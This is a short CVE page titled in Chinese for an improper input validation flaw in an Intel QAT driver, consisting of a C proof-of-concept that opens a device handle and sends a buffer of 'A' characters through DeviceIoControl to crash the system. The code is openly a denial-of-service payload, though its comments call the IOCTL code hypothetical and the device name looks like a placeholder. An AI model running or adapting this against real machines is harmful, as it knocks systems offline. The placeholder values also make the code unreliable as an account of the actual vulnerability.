CVE-2026-20717 Intel QAT驱动输入验证不当漏洞

#include <windows.h> #include <stdio.h> // Hypothetical IOCTL for Intel QAT driver #define IOCTL_QAT_VULNERABLE_FUNC 0x80002000 int main() { HANDLE hDevice; DWORD bytesReturned; char maliciousBuffer[1024]; // Fill buffer with pattern 'A' to simulate improper input memset(maliciousBuffer, 'A', sizeof(maliciousBuffer)); // Open handle to the vulnerable device hDevice = CreateFile("\\\\.\\IntelQATDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("Sending malicious payload to trigger DoS...\n"); // Send the malformed input to the driver if (!DeviceIoControl(hDevice, IOCTL_QAT_VULNERABLE_FUNC, maliciousBuffer, sizeof(maliciousBuffer), NULL, 0, &bytesReturned, NULL)) { printf("DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("Payload sent successfully. System may become unstable.\n"); } CloseHandle(hDevice); return 0; }